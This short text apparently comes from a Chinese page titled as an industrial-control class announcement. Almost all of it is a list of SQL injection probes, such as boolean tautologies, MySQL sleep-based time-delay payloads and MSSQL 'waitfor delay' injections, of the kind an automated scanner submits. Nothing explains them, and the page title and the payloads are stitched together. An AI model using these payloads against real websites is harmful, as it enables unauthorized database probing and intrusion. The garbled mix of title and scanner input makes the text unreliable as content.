工控课堂-开课了！！

-1 OR 3+721-721-1=0+0+0+1

0'XOR(if(now()=sysdate(),sleep(9),0))XOR'Z

-1' OR 2+726-726-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(9),0))XOR"Z

-1' OR 3+726-726-1=0+0+0+1 --

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

-1' OR 2+333-333-1=0+0+0+1 or 'pQhAGemE'='

-1; waitfor delay '0:0:9' --

-1' OR 3+333-333-1=0+0+0+1 or 'pQhAGemE'='

-1); waitfor delay '0:0:9' --